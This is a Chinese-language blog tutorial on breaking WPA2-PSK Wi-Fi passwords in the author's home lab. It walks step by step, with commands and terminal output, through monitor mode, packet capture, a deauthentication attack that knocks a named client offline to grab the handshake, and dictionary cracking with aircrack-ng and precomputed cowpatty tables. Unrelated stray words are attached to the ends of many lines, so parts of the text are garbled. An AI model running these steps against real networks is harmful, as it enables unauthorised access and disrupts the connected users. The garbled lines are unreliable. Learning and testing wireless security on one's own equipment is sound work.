概述:html
針對WEP的一些弱點,WPA(WiFi Protected Access)一一改進:npm
WPA又分兩種基本類別:安全
• WPA Enterprise (requires a Radius server)
• WPA Personal (also known as WPA-PSK)less
咱們通常使用的是WPA Personal,也就是一個AP只有一個密鑰(Pre-shared Key)。工具
WPA又有WPA和WPA2,前者只能使用TKIP(Temporary Key Integrity Protocol)加密,後者除TKIP外還能使用AES(Advanced Encryption Standard)進行加密。ui
實踐:加密
環境: 虛擬機kali 2.0 + usb無線網卡(360隨身wifi) + 無線路由(使用wpa2-psk加密)spa
利用系統自帶的aircrack-ng套件進行實驗。關於aircrack-ng的使用可參考 http://kalitut.blogspot.sg/2015/09/crack-wpa2-wifi-password.htmlcode
第一步:先將無線網卡開成監聽模式。(期間要求關閉3個進程)server
root@kali:~# iwconfig wlan0 IEEE 802.11bgn ESSID:off/any Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm Retry short limit:7 RTS thr:off Fragment thr:off Encryption key:off Power Management:off lo no wireless extensions. eth0 no wireless extensions. root@kali:~# airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill' PID Name 702 NetworkManager 847 wpa_supplicant 5674 dhclient PHY Interface Driver Chipset phy0 wlan0 mt7601u Ralink Technology, Corp. MT7601U (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon) (mac80211 station mode vif disabled for [phy0]wlan0) root@kali:~# kill 702 847 5674 root@kali:~# airmon-ng start wlan0 PHY Interface Driver Chipset phy0 wlan0mon mt7601u Ralink Technology, Corp. MT7601U
第二步:開始監聽。
root@kali:~# airodump wlan0mon
如下爲監聽結果(爲了保護信息,作了些模糊處理):
其中BSSID爲AP(Access Point)的硬件地址,CH爲所在的信道(通常是一、六、11),ESSID就是AP的名字。下方的STATION是連入該ap的一些客戶。
此時右上角是空白的,說明並無捕獲到wpa握手包。(也就是監聽期間並無新用戶進行驗證鏈接該ap)
選定一個AP進行監聽。咱們選擇下面監聽到多個客戶連入的這個AP(以6C:E8開頭的MAC):
root@kali:~# airodump -w test --channel 11 --bssid 6C:E8:XX:XX:XX:XX wlan0mon
其中-w test表示將抓到的包存到新建的test文件中。
第三步:爲了儘快捕獲握手包,進行Deauthenticate驗證攻擊:
root@kali:~# aireplay-ng -0 10 -a 6C:E8:73:F9:54:D2 -c 70:18:8B:38:85:B1 wlan0mon 10:19:03 Waiting for beacon frame (BSSID: 6C:E8:73:F9:54:D2) on channel 11 10:19:04 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [13|65 ACKs] 10:19:05 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [21|64 ACKs] 10:19:05 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [29|65 ACKs] 10:19:06 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [57|62 ACKs] 10:19:07 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX;XX] [62|64 ACKs] 10:19:07 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX;XX] [62|64 ACKs] 10:19:08 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [64|64 ACKs] 10:19:09 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [62|65 ACKs] 10:19:09 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [58|64 ACKs] 10:19:10 Sending 64 directed DeAuth. STMAC: [70:18:XX:XX:XX:XX] [59|65 ACKs]
其中的參數-0是Deauthenticate攻擊,10是發送數據包的數量,-a是要攻擊的AP硬件地址,-c是連入該AP的客戶端的硬件地址(非必須,但有的話攻擊成功率高)。
成功捕獲握手包!
第四步:用ctrl+c中斷監聽,可見當前目錄下多了以test-01開頭的四個文件。咱們要用的是test-01.cap,對它進行暴力破解。
固然你得有字典文件,我這裏使用了kali自帶的字典,具體可參考前面給出的網址。
這裏爲了實驗我做弊了,由於個人ap密碼設置的比較複雜,暴力破解的難度比較高。因此我直接把密碼添加到字典的第30000行上~
root@kali:~# aircrack-ng -w kalitut.txt test-01.cap
在個人虛擬機裏能以800keys/s的速度破解,很快就找到了(圖中模糊處),用時36秒
如何提高破解速度:
Time-Memory Trade-Offs是指將字典中的明文密碼提早轉換成hash值,創建高速wpa hash tables,用這個tables去對抓到的握手包進行暴力破解。
顧名思義,這麼作會消耗更多存儲空間,以換取破解時間的減小。
咱們可使用genpmk來創建高速wpa hash tables,這個genpmk是另外一個無線破解工具cowpatty提供的。
這裏若是要對我以前用的整個字典文件所有轉換的話,這個過程要好久。因此我先提取前面的40000行出來創建tables就行了。
root@kali:~# genpmk -f kalitut2.txt -d testtables -s XXX genpmk 1.1 - WPA-PSK precomputation attack. <jwright@hasborg.com> File testtables does not exist, creating. key no. 1000: ภ-จุๅภถถ/ึ key no. 2000: 000000sa key no. 3000: 00008114 -- snip -- key no. 39000: 0111398899 key no. 40000: 01129112 40000 passphrases tested in 132.22 seconds: 302.53 passphrases/second
其中參數-f是原來的明文字典,-d是生成的tables名,-s是AP的名稱。
用生成的tables再次進行破解:
root@kali:~# cowpatty -d testtables -r test-01.cap -s XXX
其中參數-d是以前生成的tables,-r是抓到的包,-s是AP名。
速度達到134600.37keys/s,只用了0.22秒就找到了!比剛剛的36秒快多了!
總結:目前來看,wpa2的安全性仍是相對較高的,針對它的破解通常基於暴力破解。因此咱們只要設置好強度高的密碼,通常就沒什麼問題了。